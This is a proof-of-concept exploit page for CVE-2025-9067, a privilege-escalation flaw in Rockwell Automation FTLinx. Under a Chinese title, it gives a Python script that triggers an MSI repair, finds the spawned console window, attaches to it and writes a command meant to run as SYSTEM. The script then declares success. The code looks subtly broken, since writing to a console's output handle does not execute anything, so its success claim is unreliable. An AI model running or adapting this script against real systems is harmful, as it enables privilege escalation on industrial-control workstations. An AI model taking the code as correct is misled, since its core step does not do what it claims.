CVE-2025-9067 Rockwell Automation FTLinx MSI修复劫持权限提升漏洞

# CVE-2025-9067 - FTLinx MSI Repair Hijacking PoC # This PoC demonstrates the concept of hijacking the console window # spawned during an MSI Repair operation to escalate privileges to SYSTEM. # Tested on Windows 10/11 with Rockwell Automation FTLinx installed. import ctypes import ctypes.wintypes as wt import subprocess import time import sys user32 = ctypes.windll.user32 kernel32 = ctypes.windll.kernel32 EnumWindows = user32.EnumWindows EnumWindowsProc = ctypes.WINFUNCTYPE(ctypes.c_bool, ctypes.c_int, ctypes.c_int) GetWindowText = user32.GetWindowTextW GetWindowTextLength = user32.GetWindowTextLengthW IsWindowVisible = user32.IsWindowVisible GetWindowThreadProcessId = user32.GetWindowThreadProcessId target_pids = [] def enum_callback(hwnd, lParam): """Enumerate top-level windows and identify the MSI Repair console window.""" if IsWindowVisible(hwnd): length = GetWindowTextLength(hwnd) if length > 0: buff = ctypes.create_unicode_buffer(length + 1) GetWindowText(hwnd, buff, length + 1) pid = wt.DWORD() GetWindowThreadProcessId(hwnd, ctypes.byref(pid)) title = buff.value.lower() # Look for MSI Repair related console windows if 'msi' in title or 'repair' in title or 'ftlinx' in title: target_pids.append((hwnd, pid.value, buff.value)) print(f"[+] Found target window: hwnd={hwnd}, pid={pid.value}, title='{buff.value}'") return True def find_msi_repair_console(): """Find the console window spawned by MSI Repair process.""" EnumWindows(EnumWindowsProc(enum_callback), 0) return target_pids def hijack_console(hwnd): """Hijack the target console window and inject a SYSTEM-level command.""" # Attach to the target process's console target_pid = wt.DWORD() GetWindowThreadProcessId(hwnd, ctypes.byref(target_pid)) # Use AttachConsole to attach to the target process if kernel32.AttachConsole(target_pid.value): print(f"[+] Attached to console of PID {target_pid.value}") # Inject command into the console - this will execute as SYSTEM # Opening a new cmd.exe with SYSTEM privileges kernel32.WriteConsoleW( wt.HANDLE(kernel32.GetStdHandle(-11)), # STD_OUTPUT_HANDLE "cmd.exe /c whoami > C:\\Windows\\Temp\\system_proof.txt\r\n", 50, None, None ) time.sleep(1) kernel32.FreeConsole() print("[+] Command injected. Check C:\\Windows\\Temp\\system_proof.txt") else: print("[-] Failed to attach to console") return False return True def trigger_msi_repair(): """Trigger the FTLinx MSI Repair operation.""" # Locate FTLinx MSI package msi_paths = [ r"C:\Program Files (x86)\Rockwell Software\FTLinx\FTLinx.msi", r"C:\Program Files (x86)\Rockwell Software\RSLinx\FTLinx.msi", ] for msi in msi_paths: try: print(f"[*] Triggering repair for: {msi}") # Use msiexec to trigger repair in passive/quiet mode # /f = Repair, /qb = basic UI subprocess.Popen( ["msiexec", "/f", msi, "/qb"], shell=False ) return True except FileNotFoundError: continue return False def main(): print("=" * 60) print("CVE-2025-9067 - FTLinx MSI Repair Hijack PoC") print("Rockwell Automation FTLinx Privilege Escalation") print("=" * 60) # Step 1: Trigger MSI Repair if not trigger_msi_repair(): print("[-] Could not find FTLinx MSI. Exiting.") sys.exit(1) # Step 2: Wait for the repair console window to appear print("[*] Waiting for MSI Repair console window...") time.sleep(5) # Step 3: Find and hijack the console window for attempt in range(10): targets = find_msi_repair_console() if targets: for hwnd, pid, title in targets: print(f"[*] Attempting to hijack window: {title}") if hijack_console(hwnd): print("[+] Privilege escalation successful!") return time.sleep(2) print("[-] Could not find target console window") if __name__ == "__main__": main()